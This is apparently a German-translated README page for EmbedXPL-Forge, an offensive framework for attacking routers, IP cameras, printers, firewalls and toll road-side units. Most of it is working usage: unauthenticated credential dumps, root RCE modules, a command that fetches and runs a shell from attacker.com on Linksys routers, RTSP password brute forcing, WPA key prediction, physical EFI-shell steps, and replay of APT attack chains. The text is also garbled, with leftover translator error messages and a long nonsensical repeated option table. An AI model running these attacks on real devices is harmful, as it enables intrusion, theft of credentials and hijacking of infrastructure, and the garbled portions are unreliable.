[+] Connected to 192.168.1.1:80 [+] Sending ETHCheat request: GET /getpage.lua?pid=1000ÐCheat=1 [!] VULNERABLE: Credentials exposed Admin Password: admin123 WLAN PSK: MyWifiPass SSID: ZTE_Router_ABC
[-] No credential fields found in response [-] Target may be patched or different firmware
[No content provided in the input.]```bash
# Intelbras IWR LuCI RPC RCE
embedxpl use routers/intelbras/iwr_luci_rpc_rce
embedxpl (IWRLuci) > set rhost 192.168.0.1
embedxpl (IWRLuci) > set cmd "id"
embedxpl (IWRLuci) > run
# Expected output:
[+] LuCI RPC endpoint found at /cgi-bin/luci/rpc/sys
[+] RCE via sys.exec: uid=0(root) gid=0(root)
| --no-ssl | Deaktiviert die SSL-Überprüfung für HTTP-Anfragen. |
| --no-upload | Deaktiviert das Hochladen von Dateien. |
| --no-download | Deaktiviert das Herunterladen von Dateien. |
| --no-exec | Deaktiviert die Ausführung von Befehlen. |
| --no-shell | Deaktiviert die Shell-Ausführung. |
| --no-sql | Deaktiviert SQL-Abfragen. |
| --no-xss | Deaktiviert XSS-Angriffe. |
| --no-lfi | Deaktiviert LFI-Angriffe. |
| --no-rfi | Deaktiviert RFI-Angriffe. |
| --no-ssrf | Deaktiviert SSRF-Angriffe. |
| --no-csrf | Deaktiviert CSRF-Angriffe. |
| --no-open-redirect | Deaktiviert Open-Redirect-Angriffe. |
| --no-crlf | Deaktiviert CRLF-Injektionsangriffe. |
| | Deaktiviert XXE-Angriffe. |
| | Deaktiviert SSTI-Angriffe. |
| | Deaktiviert Deserialisierungsangriffe. |
| | Deaktiviert LDAP-Injektionsangriffe. |
| | Deaktiviert XPath-Injektionsangriffe. |
| | Deaktiviert NoSQL-Injektionsangriffe. |
| | Deaktiviert GraphQL-Angriffe. |
| | Deaktiviert WebSocket-Angriffe. |
| | Deaktiviert gRPC-Angriffe. |
| | Deaktiviert HTTP/2-Angriffe. |
| | Deaktiviert HTTP/3-Angriffe. |
| | Deaktiviert QUIC-Angriffe. |
| | Deaktiviert DNS-Angriffe. |
| | Deaktiviert TCP-Angriffe. |
| | Deaktiviert UDP-Angriffe. |
| | Deaktiviert ICMP-Angriffe. |
| | Deaktiviert ARP-Angriffe. |
| | Deaktiviert IPv6-Angriffe. |
| | Deaktiviert IPv4-Angriffe. |
| | Deaktiviert MAC-Angriffe. |
| | Deaktiviert VLAN-Angriffe. |
| | Deaktiviert DHCP-Angriffe. |
| | Deaktiviert NTP-Angriffe. |
| | Deaktiviert SNMP-Angriffe. |
| | Deaktiviert SMB-Angriffe. |
| | Deaktiviert FTP-Angriffe. |
| | Deaktiviert SSH-Angriffe. |
| | Deaktiviert Telnet-Angriffe. |
| | Deaktiviert RDP-Angriffe. |
| | Deaktiviert VNC-Angriffe. |
| | Deaktiviert LDAP-Angriffe. |
| | Deaktiviert Kerberos-Angriffe. |
| | Deaktiviert NTLM-Angriffe. |
| | Deaktiviert OAuth-Angriffe. |
| | Deaktiviert SAML-Angriffe. |
| | Deaktiviert JWT-Angriffe. |
| | Deaktiviert OpenID-Angriffe. |
| | Deaktiviert SSO-Angriffe. |
| | Deaktiviert MFA-Angriffe. |
| | Deaktiviert 2FA-Angriffe. |
| | Deaktiviert CAPTCHA-Angriffe. |
| | Deaktiviert WAF-Angriffe. |
| | Deaktiviert IDS-Angriffe. |
| | Deaktiviert IPS-Angriffe. |
| | Deaktiviert Honeypot-Angriffe. |
| | Deaktiviert Sandbox-Angriffe. |
| | Deaktiviert Container-Angriffe. |
| | Deaktiviert Docker-Angriffe. |
| | Deaktiviert Kubernetes-Angriffe. |
| | Deaktiviert Cloud-Angriffe. |
| | Deaktiviert AWS-Angriffe. |
| | Deaktiviert Azure-Angriffe. |
| | Deaktiviert GCP-Angriffe. |
| | Deaktiviert OCI-Angriffe. |
| | Deaktiviert IBM-Angriffe. |
| | Deaktiviert Alibaba-Angriffe. |
| | Deaktiviert DigitalOcean-Angriffe. |
| | Deaktiviert Linode-Angriffe. |
| | Deaktiviert Vultr-Angriffe. |
| | Deaktiviert Hetzner-Angriffe. |
| | Deaktiviert OVH-Angriffe. |
| | Deaktiviert Scaleway-Angriffe. |
| | Deaktiviert UpCloud-Angriffe. |
| | Deaktiviert Paket-Angriffe. |
| | Deaktiviert Frame-Angriffe. |
| | Deaktiviert Stream-Angriffe. |
| | Deaktiviert Socket-Angriffe. |
| | Deaktiviert Port-Angriffe. |
| | Deaktiviert Protokoll-Angriffe. |
| | Deaktiviert Dienst-Angriffe. |
| | Deaktiviert Anwendungs-Angriffe. |
| | Deaktiviert System-Angriffe. |
| | Deaktiviert Netzwerk-Angriffe. |
| | Deaktiviert Geräte-Angriffe. |
| | Deaktiviert Benutzer-Angriffe. |
| | Deaktiviert Gruppen-Angriffe. |
| | Deaktiviert Rollen-Angriffe. |
| | Deaktiviert Berechtigungs-Angriffe. |
| | Deaktiviert Richtlinien-Angriffe. |
| | Deaktiviert Regel-Angriffe. |
| | Deaktiviert Konfigurations-Angriffe. |
| | Deaktiviert Secret-Angriffe. |
| | Deaktiviert Schlüssel-Angriffe. |
| | Deaktiviert Token-Angriffe. |
| | Deaktiviert Passwort-Angriffe. |
| | Deaktiviert Hash-Angriffe. |
| | Deaktiviert Salt-Angriffe. |
| | Deaktiviert Nonce-Angriffe. |
| | Deaktiviert IV-Angriffe. |
| | Deaktiviert Cipher-Angriffe. |
| | Deaktiviert Algorithmus-Angriffe. |
| | Deaktiviert Protokoll-Angriffe. |
| | Deaktiviert Standard-Angriffe. |
| | Deaktiviert RFC-Angriffe. |
| | Deaktiviert Spezifikations-Angriffe. |
| | Deaktiviert Dokumentations-Angriffe. |
| | Deaktiviert Test-Angriffe. |
| | Deaktiviert Beispiel-Angriffe. |
| | Deaktiviert Demo-Angriffe. |
| | Deaktiviert Beispiel-Angriffe. |
| | Deaktiviert Tutorial-Angriffe. |
| | Deaktiviert Leitfaden-Angriffe. |
| | Deaktiviert Handbuch-Angriffe. |
| | Deaktiviert Referenz-Angriffe. |
| | Deaktiviert Cheatsheet-Angriffe. |
| | Deaktiviert Snippet-Angriffe. |
| | Deaktiviert Vorlagen-Angriffe. |
| | Deaktiviert Skript-Angriffe. |
| | Deaktiviert Plugin-Angriffe. |
| | Deaktiviert Modul-Angriffe. |
| | Deaktiviert Erweiterungs-Angriffe. |
| | Deaktiviert Addon-Angriffe. |
| | Deaktiviert Paket-Angriffe. |
| | Deaktiviert Bibliotheks-Angriffe. |
| | Deaktiviert Framework-Angriffe. |
| | Deaktiviert Plattform-Angriffe. |
| | Deaktiviert Betriebssystem-Angriffe. |
| | Deaktiviert Distribution-Angriffe. |
| | Deaktiviert Versions-Angriffe. |
| | Deaktiviert Release-Angriffe. |
| | Deaktiviert Build-Angriffe. |
| | Deaktiviert Commit-Angriffe. |
| | Deaktiviert Branch-Angriffe. |
| | Deaktiviert Tag-Angriffe. |
| | Deaktiviert Fork-Angriffe. |
| | Deaktiviert Star-Angriffe. |
| | Deaktiviert Watcher-Angriffe. |
| | Deaktiviert Issue-Angriffe. |
| | Deaktiviert Pull-Angriffe. |
| | Deaktiviert Merge-Angriffe. |
| | Deaktiviert Rebase-Angriffe. |
| | Deaktiviert Cherry-Pick-Angriffe. |
| | Deaktiviert Stash-Angriffe. |
| | Deaktiviert Reset-Angriffe. |
| | Deaktiviert Revert-Angriffe. |
| | Deaktiviert Amend-Angriffe. |
| | Deaktiviert Squash-Angriffe. |
| | Deaktiviert Fix-Angriffe. |
| | Deaktiviert Feature-Angriffe. |
| | Deaktiviert Bug-Angriffe. |
| | Deaktiviert Issue-Angriffe. |
| | Deaktiviert Ticket-Angriffe. |
| | Deaktiviert Aufgaben-Angriffe. |
| | Deaktiviert Projekt-Angriffe. |
| | Deaktiviert Meilenstein-Angriffe. |
| | Deaktiviert Sprint-Angriffe. |
| | Deaktiviert Epic-Angriffe. |
| | Deaktiviert Story-Angriffe. |
| | Deaktiviert Backlog-Angriffe. |
| | Deaktiviert Board-Angriffe. |
| | Deaktiviert Kanban-Angriffe. |
| | Deaktiviert Scrum-Angriffe. |
| | Deaktiviert Agile-Angriffe. |
| | Deaktiviert Wasserfall-Angriffe. |
| | Deaktiviert Lean-Angriffe. |
| | Deaktiviert Six-Sigma-Angriffe. |
| | Deaktiviert Kaizen-Angriffe. |
| | Deaktiviert PDSA-Angriffe. |
| | Deaktiviert DMAIC-Angriffe. |
| | Deaktiviert DMADV-Angriffe. |
| | Deaktiviert DFSS-Angriffe. |
| | Deaktiviert QFD-Angriffe. |
| | Deaktiviert FMEA-Angriffe. |
| | Deaktiviert FTA-Angriffe. |
| | Deaktiviert HAZOP-Angriffe. |
| | Deaktiviert PHA-Angriffe. |
| | Deaktiviert LOPA-Angriffe. |
| | Deaktiviert Bowtie-Angriffe. |
| | Deaktiviert Risiko-Angriffe. |
| | Deaktiviert Chancen-Angriffe. |
| | Deaktiviert SWOT-Angriffe. |
| | Deaktiviert PESTLE-Angriffe. |
| | Deaktiviert Porter-Angriffe. |
| | Deaktiviert BCG-Angriffe. |
| | Deaktiviert Ansoff-Angriffe. |
| | Deaktiviert Wertschöpfungsketten-Angriffe. |
| | Deaktiviert Balanced-Scorecard-Angriffe. |
| | Deaktiviert KPI-Angriffe. |
| | Deaktiviert OKR-Angriffe. |
| | Deaktiviert MBO-Angriffe. |
| | Deaktiviert SMART-Angriffe. |
| | Deaktiviert FF-Angriffe. |
| | Deaktiviert PDCA-Angriffe. |
| | Deaktiviert OI-Angriffe. |
| | Deaktiviert TS-Angriffe. |
| | Deaktiviert TPM-Angriffe. |
| | Deaktiviert 5S-Angriffe. |
| | Deaktiviert Kano-Angriffe. |
| | Deaktiviert QFD-Angriffe. |
| | Deaktiviert DOE-Angriffe. |
| | Deaktiviert Taguchi-Angriffe. |
| | Deaktiviert Shainin-Angriffe. |
| | Deaktiviert Six-Sigma-DMAIC-Angriffe. |
| | Deaktiviert Lean-Six-Sigma-Angriffe. |
| | Deaktiviert DFSS-Angriffe. |
| | Deaktiviert QFD-Angriffe. |
| | Deaktiviert FMEA-Angriffe. |
| | Deaktiviert FTA-Angriffe. |
| | Deaktiviert HAZOP-Angriffe. |
| | Deaktiviert PHA-Angriffe. |
| | Deaktiviert LOPA-Angriffe. |
| | Deaktiviert Bowtie-Angriffe. |
| | Deaktiviert Risiko-Angriffe. |
| | Deaktiviert Chancen-Angriffe. |
| | Deaktiviert SWOT-Angriffe. |
| | Deaktiviert PESTLE-Angriffe. |
| | Deaktiviert Porter-Angriffe. |
| | Deaktiviert BCG-Angriffe. |
| | Deaktiviert Ansoff-Angriffe. |
| | Deaktiviert Wertschöpfungsketten-Angriffe. |
| | Deaktiviert Balanced-Scorecard-Angriffe. |
| | Deaktiviert KPI-Angriffe. |
| | Deaktiviert OKR-Angriffe. |
| | Deaktiviert MBO-Angriffe. |
| | Deaktiviert SMART-Angriffe. |
| | Deaktiviert FF-Angriffe. |
| | Deaktiviert PDCA-Angriffe. |
| | Deaktiviert OI-Angriffe. |
| | Deaktiviert TS-Angriffe. |
| | Deaktiviert TPM-Angriffe. |
| | Deaktiviert 5S-Angriffe. |
| | Deaktiviert Kano-Angriffe. |
| | Deaktiviert QFD-Angriffe. |
| | Deaktiviert DOE-Angriffe. |
| | Deaktiviert Taguchi-Angriffe. |
| | Deaktiviert Shainin-Angriffe. |
| | Deaktiviert Six-Sigma-DMAIC-Angriffe. |
| | Deaktiviert Lean-Six-Sigma-Angriffe. |
| | Deaktiviert DFSS-Angriffe. |
| | Deaktiviert QFD-Angriffe. |
| | Deaktiviert FMEA-Angriffe. |
| | Deaktiviert FTA-Angriffe. |
| | Deaktiviert HAZOP-Angriffe. |
| | Deaktiviert PHA-Angriffe. |
| | Deaktiviert LOPA-Angriffe. |
| | Deaktiviert Bowtie-Angriffe. |
| | Deaktiviert Risiko-Angriffe. |
| | Deaktiviert Chancen-Angriffe. |
| | Deaktiviert SWOT-Angriffe. |
| | Deaktiviert PESTLE-Angriffe. |
| | Deaktiviert Porter-Angriffe. |
| | Deaktiviert BCG-Angriffe. |
| | Deaktiviert Ansoff-Angriffe. |
| | Deaktiviert Wertschöpfungsketten-Angriffe. |
| | Deaktiviert Balanced-Scorecard-Angriffe. |
| | Deaktiviert KPI-Angriffe. |
| | Deaktiviert OKR-Angriffe. |
| | Deaktiviert MBO-Angriffe. |
| | Deaktiviert SMART-Angriffe. |
| | Deaktiviert FF-Angriffe. |
| | Deaktiviert PDCA-Angriffe. |
| | Deaktiviert OI-Angriffe. |
| | Deaktiviert TS-Angriffe. |
| | Deaktiviert TPM-Angriffe. |
| | Deaktiviert 5S-Angriffe. |
| | Deaktiviert Kano-Angriffe. |
| | Deaktiviert QFD-Angriffe. |
| | Deaktiviert DOE-Angriffe. |
| | Deaktiviert Taguchi-Angriffe. |
| | Deaktiviert Shainin-Angriffe. |
| | Deaktiviert Six-Sigma-DMAIC-Angriffe. |
| | Deaktiviert Lean-Six-Sigma-Angriffe. |```bash
embedxpl use scanners/specialized/br_isp_scanner embedxpl (BRISPScan) > set target 192.168.0.0/24 embedxpl (BRISPScan) > run
**Hinweise:** CVE-2026-34474 betrifft ZTE ZXHN H298A 1.1 und H108N 2.6. Keine Authentifizierung erforderlich.
**Rechtliches:** Nur auf Geräten verwenden, die Sie besitzen oder für die Sie eine schriftliche Testgenehmigung haben.
---
### Legacy-Router-Backdoor- und Factory-Passwort-Module
Klassische Router-Backdoor- und Factory-Passwort-Exploits, implementiert im EmbedXPL-Forge-Modulformat.
| Gerät | CVE / Referenz | Modulpfad | Angriffstyp |
|--------|----------------|-------------|-------------|
| Cobham Aviator 700 SATCOM | CVE-2014-2943 | `exploits/specialized/vsat/cobham_aviator_admin_reset_cve_2014_2943` | Admin-Passwort-Reset (unauth) |
| Huawei HG8245H | - | `osint/keygen/huawei_hg8245_wpa_keygen` | WPA-Standardschlüssel-Generator |
| Alcatel-Lucent OmniPCX Enterprise | - | `exploits/voip/alcatel_lucent/omnipcx_enterprise_mastercgi_rce` | masterCGI Unauthenticated RCE |
| Linksys E-Series (The Moon) | EDB-31683 | `exploits/routers/linksys/eseries_themoon_rce_tmunblock` | tmUnblock.cgi RCE |
| NETGEAR DGN2200 | EDB-24665 | `exploits/routers/netgear/dgn2200_open_telnetd_rce` | open-telnetd Unauthenticated RCE |
| Siemens FlexiISN | - | `exploits/routers/siemens/flexiisn_auth_bypass` | Authentifizierungsumgehung |
| Thomson BTHomeHub | - | `exploits/routers/thomson/bthomehub_voice_hijack` | VoIP-Konfigurations-Hijacking |
| AT&T 2Wire Gateway | - | `exploits/routers/two_wire/atandt_gateway_crlf_dos` | CRLF-Injection / DoS |
**Verwendungsbeispiele:**```bash
# Cobham Aviator admin reset (VSAT / Satellite terminal)
embedxpl use specialized/vsat/cobham_aviator_admin_reset_cve_2014_2943
embedxpl (CobhamReset) > set rhost 192.168.1.1
embedxpl (CobhamReset) > run
# Expected output:
[+] Connected to Cobham Aviator 700 interface
[+] Sending unauthenticated admin reset request
[!] VULNERABLE: Admin password reset to default
# Linksys eSeries The Moon RCE
embedxpl use routers/linksys/eseries_themoon_rce_tmunblock
embedxpl (TheMoon) > set rhost 192.168.1.1
embedxpl (TheMoon) > set cmd "busybox wget http://attacker.com/shell -O /tmp/sh && chmod +x /tmp/sh && /tmp/sh"
embedxpl (TheMoon) > run
# Huawei HG8245H WPA keygen
embedxpl use osint/keygen/huawei_hg8245_wpa_keygen
embedxpl (HuaweiKeygen) > set ssid "HG8245H-ABCDEF"
embedxpl (HuaweiKeygen) > run
# Output: [+] Predicted WPA key: xA7z3k9P
Hinweise: Der Moon-Wurm (Linksys E-Series CVE) nutzt tmUnblock.cgi ohne Authentifizierung auf Firmware < 2.0.08 aus. Rechtliches: Nur auf Geräten verwenden, die Sie besitzen oder für die Sie eine schriftliche Testgenehmigung haben.
Eine reine Python-Bibliothek für RFC 2326 RTSP/1.0-Clients, die als Grundlage für alle RTSP-Kamera-Angriffsmodule dient.
Modul: network/rtsp/rtsp_client.py - RTSPClient-Klasse
Funktionen:
with RTSPClient(...) as client)Verwendungsbeispiel:```bash
python3 -c " from embedxpl.modules.network.rtsp.rtsp_client import RTSPClient with RTSPClient('192.168.1.10', 554, timeout=5) as client: resp = client.describe('/live/ch0') if resp.status_code == 200: sdp = client.parse_sdp(resp.body) print(f'Streams: {[s.media_type for s in sdp.streams]}') "
Ihre Anfrage konnte nicht bearbeitet werden, da kein zu übersetzender Inhalt bereitgestellt wurde. Bitte senden Sie den Markdown-Text, den Sie übersetzen möchten.```bash
# RTSP credential brute force (uses RTSPClient internally)
embedxpl use network/rtsp/rtsp_cred_brute
embedxpl (RTSPBrute) > set rhost 192.168.1.10
embedxpl (RTSPBrute) > set rport 554
embedxpl (RTSPBrute) > set path /live/ch0
embedxpl (RTSPBrute) > run
# Expected output:
[+] Trying admin:admin ... 401 Unauthorized
[+] Trying admin:12345 ... 200 OK
[!] VALID: admin:12345
Voraussetzungen: Python 3.8+, keine externen Abhängigkeiten.
OSINT-Modul, das die FCC Equipment Authorization-Datenbank abfragt, um Gerätedetails aus FCC-ID-Codes abzurufen, die auf Hardware-Etiketten gefunden wurden.
Modul: osint/fcc_id_lookup.py
Verwendungsbeispiel:```bash embedxpl use osint/fcc_id_lookup embedxpl (FCCLookup) > set fcc_id "PD5-WNR3500U" embedxpl (FCCLookup) > run
[+] FCC ID: PD5-WNR3500U Grantee: NETGEAR Inc. Product: WNR3500U Wireless-N Gigabit Router Frequency: 2.4GHz / 5GHz Authorization: OET-65C (mobile device) Test Lab: SGS Grant Date: 2009-11-18 Internal Photos: [URL] External Photos: [URL] Test Reports: [URL]
**Tipps:**
- FCC-IDs sind auf Gerätelabels aufgedruckt (Format: `GRANTEE_CODE-PRODUCT_CODE`)
- Verwenden Sie sie zur Identifizierung von OEM-Hardware, Firmware-Basis oder Lieferkette
- Kombinieren Sie sie mit `osint/github_recon`, um öffentliche Firmware-Repositories für das Gerät zu finden
**Voraussetzungen:** Internetzugang, `requests`-Bibliothek.
---
### Camera URL Generator
Generiert bekannte Kamera-Stream-URLs basierend auf Hersteller, Modell und Firmware-Version unter Verwendung des iSpy-Kamera-Datenbankformats.
**Modul:** `osint/camera_url_generator.py`
**Verwendungsbeispiel:**```bash
embedxpl use osint/camera_url_generator
embedxpl (CameraURL) > set vendor "hikvision"
embedxpl (CameraURL) > set model "DS-2CD2143G2"
embedxpl (CameraURL) > run
# Expected output:
[+] Known stream URLs for Hikvision DS-2CD2143G2:
[1] rtsp://<ip>:554/Streaming/Channels/101
[2] rtsp://<ip>:554/Streaming/Channels/102
[3] rtsp://<ip>:554/h264/ch1/main/av_stream
[4] http://<ip>/ISAPI/Streaming/channels/1/picture
[5] http://<ip>/onvif/device_service
# Generate wordlist for RTSP brute force
embedxpl (CameraURL) > set output_file /tmp/hikvision_routes.txt
embedxpl (CameraURL) > run
Tipps:
network/rtsp/rtsp_route_brute, um Live-Streams aufzuzählenset all_vendors true, um alle bekannten URLs auszugebenModule, die auf die Infrastruktur der Verkehrsüberwachung abzielen (Maut-RSUs, Radarsysteme, ANPR-Kameras).
Modul: exploits/specialized/traffic_enforcement/kapsch_rsu_efi_shell_cve_2025_25734
Schwachstelle: Kapsch Road-Side Units (RSUs), die in der elektronischen Mauterfassung eingesetzt werden, verfügen über keine UEFI Secure Boot-Durchsetzung und keinen BIOS-Passwortschutz, wodurch physische Angreifer in eine interaktive EFI-Shell gelangen und auf das vollständige Dateisystem zugreifen können.
Auswirkung: Extraktion der Konfiguration, Diebstahl privater TLS-Schlüssel, Installation von Implantaten, Umgehung der Mauterfassung.
Verwendungsbeispiel:```bash
embedxpl use specialized/traffic_enforcement/kapsch_rsu_efi_shell_cve_2025_25734 embedxpl (KapschRSU) > set rhost 10.0.0.50 embedxpl (KapschRSU) > check
[+] Kapsch RSU management interface detected on 10.0.0.50:80 [!] Banner indicator: 'TrafficCom RSU' found [*] NOTE: Full exploitation requires physical on-site access
embedxpl (KapschRSU) > run
**Schritte zur physischen Ausnutzung:**
1. RSU-Gehäuse öffnen (manipulationssichere Schrauben)
2. USB-Tastatur und Monitor an RSU-Mainboard anschließen
3. Neustart - während POST ESC/DEL/F2 drücken
4. Navigieren: Boot Manager -> EFI Internal Shell
5. Auf Dateisystem zugreifen: `fs0:\efi\config\` zur Konfigurationsextraktion
**Voraussetzungen:** Physischer Zugang zur RSU-Hardware (Monitor + USB-Tastatur) oder Netzwerkzugang zur Management-Schnittstelle für Banner-Erkennung.
**Rechtliches:** Unbefugter Zugriff auf Mauterfassungsinfrastruktur ist eine Straftat. Nur an Einheiten verwenden, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zur Bewertung haben.
---
## Framework-Architektur (v3.1.0)
### Komponentenarchitektur
Vollständige geschichtete Ansicht des Frameworks: CLI-Schicht, Core Engine (Orchestrator, Protokoll-Clients, Shell-Engines), Intelligence Layer (ML, OUI, CVE-DB), Quality Gates und das 2800+ Modul-Arsenal, organisiert nach Kategorie.
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/63129f66ef4361f16ede4ec2b9379e2efba3843685ddb18c40d8302c0c27d00a/38190b67586381886a6b4fadd441bed66ae0b3a5fe573e650bcb67a032096d54-display-v1.webp" width="960" alt="EmbedXPL-Forge Component Architecture v3.1.0"/>
</p>
### Audit- & Ausnutzungsablauf
End-to-End-Datenfluss von der Zieleingabe über Discovery, Fingerprinting, Modulauswahl, Ausnutzung und Reporting.
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/266a4c0b8889e9cd6cdbad9450d3b173190d0bb1f615807ff2d040544cbba45b/774107c9888c0d2a25fbb913c73c6ed3c4a4a43da2782c6bb400a2b1b2421fb6-display-v1.webp" width="960" alt="EmbedXPL-Forge Exploitation Flow v3.1.0"/>
</p>
## Architektur- & Angriffsflächen-Karten
Angriffsflächen-Karten, die die Modulabdeckung pro Zugriffsvektor zeigen, im Stil operativer Sicherheitsdiagramme.
Quelldateien in [`docs/diagrams/architecture/`](https://github.com/mrhenrike/embedxpl-forge/blob/master/docs/diagrams/architecture).
### Modul-Architektur-Übersicht
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/77e312b38d78c27f7d1de0276c6f304f343f323b2d0f951c2f9a2a5362c3e54c/add82fa1cc0dc85f3f6b414270fdc3e457d72b05d31ec9013ae5a08f8427cf52-display-v1.webp" width="900" alt="EmbedXPL-Forge Architecture Overview"/>
</p>
### APT-Gruppen-Angriffsketten
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/e1ab0771072292d7cfd319a886323c1ee5630374de9b7aa88652badb233f10db/540b3fc97ec030a32c27f896ee3e03fa11e349dd9ba8fdc10905618932d9e9ce-display-v1.webp" width="900" alt="APT Group Attack Chains"/>
</p>
### SOHO-Router-Angriffsfläche
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/5254908f6c1a366a0fb268b89fe1c3260a2d67d2fad0e3380b9d846af5e245ca/e15dbde66c8adc6a223f2ef570c2b202a8cd58b5f69f924399be4a32debf3511-display-v1.webp" width="900" alt="SOHO Router Attack Surface"/>
</p>
### TP-Link-Angriffsfläche (APT28/GRU-Kampagne)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/93f5be2a074ef3b827832e532658e6ea0ada911f9ed0433a4986355ca34e11bf/436ac5ee2ad503629993f8cb04ca563f0d36b2409664abc74705aee9b5d8dbaa-display-v1.webp" width="900" alt="TP-Link APT28 Attack Surface"/>
</p>
### MikroTik-RouterOS-Angriffsfläche
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/b36a43e11581966fcf539289c66b6694ab23910a52a9c0ed031f18402d366bc4/910bb2d9cd7b55834ebfb6dfd6b02121f3242bf8140435afb2ab28fc196b1faf-display-v1.webp" width="900" alt="MikroTik Attack Surface"/>
</p>
### GPON-ONT-Angriffsfläche (Huawei EG8145)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/31f8afeec116e1cfea33753c26b01905351cc1c2a03bc46175f155dbe5e06dfe/34dc8af47fd53c639ed089f6797407be884617726c885c5faad96e7a22b6a078-display-v1.webp" width="900" alt="GPON ONT Attack Surface"/>
</p>
## Voraussetzungen
- Python 3.8+
- Optional: `nmap` (Binary) für erweiterte Netzwerk-Discovery und NSE-Skripte
- Optional: `masscan` für Hochgeschwindigkeits-RTSP-Discovery
- Optional: `gcc`/`clang` für PolyExploit C/C++-Runtime-Kompilierung
- Optional: `msfconsole` für Metasploit-Integration über PolyRunner
**Python-Abhängigkeiten (automatisch installiert):**
`requests`, `paramiko`, `pysnmp`, `pycryptodome`, `scapy`, `colorama`, `rich`, `python-nmap`, `aiohttp`
**NSE-Extras (`pip install "embedxpl[nse]"`):**
`python-nmap` (bereits im Core enthalten)
Vollständige Liste: [`requirements.txt`](https://github.com/mrhenrike/embedxpl-forge/blob/master/requirements.txt)
## Rechtlicher Hinweis
EmbedXPL-Forge ist ausschließlich für autorisierte Sicherheitstests und Forschung gedacht. Verwenden Sie dieses Tool ausschließlich auf Systemen, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugter Zugriff auf Computersysteme ist illegal. Die Autoren übernehmen keine Haftung für Missbrauch.
## Lizenz
BSD-Lizenz — siehe [LICENSE](https://github.com/mrhenrike/embedxpl-forge/blob/master/LICENSE) für Details.
---
## Kontakt
**Support / allgemeine Anfragen:** [email protected]
**Sicherheitsprobleme:** [SECURITY.md](https://github.com/mrhenrike/embedxpl-forge/blob/master/SECURITY.md)
---
### André Henrique
| | |
|---|---|
| GitHub | [@mrhenrike](https://github.com/mrhenrike) |
| X / Twitter | [@mrhenrike](https://x.com/mrhenrike) |
| LinkedIn | [mrhenrike](https://www.linkedin.com/in/mrhenrike/) |
### União Geek
| | |
|---|---|
| Website | [uniaogeek.com.br](https://uniaogeek.com.br/) |
| Blog | [uniaogeek.com.br/blog](https://uniaogeek.com.br/blog/) |
| GitHub | [Uniao-Geek](https://github.com/Uniao-Geek) |
| Instagram | [@uniaogeek](https://www.instagram.com/uniaogeek/) |
---
**Lizenz:** BSD-3-Clause License - Copyright (c) 2026 União Geek
**Erstellt von:** André Henrique ([@mrhenrike](https://github.com/mrhenrike)) | [União Geek](https://uniaogeek.com.br/)
[Leia em Português](https://github.com/mrhenrike/embedxpl-forge/blob/master/README.pt-BR.md) - [Command coverage](https://github.com/mrhenrike/embedxpl-forge/blob/master/docs/commands.md) - [Wiki](../../wiki)
tools/phase_gate.py stellt sicher, dass jedes Modul Import-, Anti-FP-, Referenz- und Code-Qualitätsprüfungen vor dem Merge besteht| Typ | Abdeckung | Beschreibung |
|---|
| Router / GPON ONT / CPE | 580+ Module | SOHO-Router, Enterprise-Gateways, GPON CPE/ONT (Hauptfokus) |
| IP-Kameras / NVR / DVR | 60+ Module | Hikvision, Dahua, Axis, Reolink, Amcrest, Uniview, Tapo, Swann, ANNKE, Edimax, Intelbras, Grandstream, Foscam, Xiongmai OEM, MVPower und 20+ weitere |
| Drucker / MFP | 185+ Module | HP, Canon, Lexmark, Xerox, Ricoh, Brother, Epson, Kyocera, Samsung; IPP/PJL/LPD/WSD/CUPS-Ketten |
| NAS (Network Storage) | 20+ Module | QNAP, Synology, D-Link NAS, Zyxel NAS |
| VPN / Firewall-Appliances / NGFW | 202 Module | Palo Alto, Fortinet, Cisco ASA/FTD/FMC, Check Point, Juniper, SonicWall, Sophos, WatchGuard, Zyxel, F5 BIG-IP, Citrix/NetScaler, Ivanti, Pulse Secure, pfSense, OPNsense, Barracuda, Imperva, MikroTik, Huawei USG, Stormshield, Hillstone, Sangfor, H3C, Radware, Symantec ProxySG, Trend Micro TippingPoint, Trellix, Arista EOS, OpenVPN AS, Phoenix Contact mGuard, Siemens SCALANCE, Moxa EDR, VyOS, IPFire, Kerio, Cisco Meraki, Array Networks + OT/ICS-Protokoll-Bypass-Module |
| Switches L2/L3 | 3 Module | Managed Switches (Cisco, D-Link, NETGEAR) |
| SOHO Edge | 9 Module | Travel-Router, NAS, Wireless-APs |
| ICS / OT / Industrial | 35+ Module | SPS, SCADA, Modbus, S7comm, EtherNet/IP, Universal Robots PolyScope 5 |
| Smart Home / Maritime | 10+ Module | eNet SMART HOME, OpenRemote IoT, Metis Maritime WIC/DFS |
| Embedded OS | 25+ Module | RIOT OS, OpenWrt, VxWorks, QNX, wolfSSL-Geräte, Tuya Arduino SDK |
| Befehl | Beschreibung |
|---|
use <module> | Ein Modul auswählen |
show options | Konfigurierbare Optionen anzeigen |
show info | Modul-Metadaten und Referenzen anzeigen |
show devices | Unterstützte Gerätetypen auflisten |
set <option> <value> | Eine Option konfigurieren |
check | Überprüfen, ob das Ziel verwundbar ist |
run | Das Modul ausführen |
search <term> | Module nach Schlüsselwort durchsuchen |
discover [subnet] [--timing T0-T5] [--fresh] | Subnetz scannen, Ziele fingerprinten, Module vorschlagen |
sessions list|show|delete|export|purge | Persistente Scan-Historie pro Host verwalten |
apt | APT-Gruppen mit reproduzierbaren Angriffsketten auflisten |
apt show <group> | Details der Angriffskette anzeigen (MITRE ATT&CK, CVEs, Module) |
apt search <device|CVE> | APT-Gruppen finden, die ein Gerät oder eine CVE anvisieren |
apt run <group> [#] | APT-Angriffskette ausführen (alle oder ein bestimmter Angriff) |
| Profil | Verzögerung | Anwendungsfall |
|---|
| T0 | paranoid — 300s | IDS-Umgehung |
| T1 | sneaky — 15s | Leise Audits |
| T2 | polite — 2s | Minimale Auswirkung |
| T3 | normal — 0.5s | Standard |
| T4 | aggressive — 0.1s | Schnelle LAN-Scans |
| T5 | insane — 0s | Nur CTF / Labor |
| Modus | Port | Klasse / Methode |
|---|
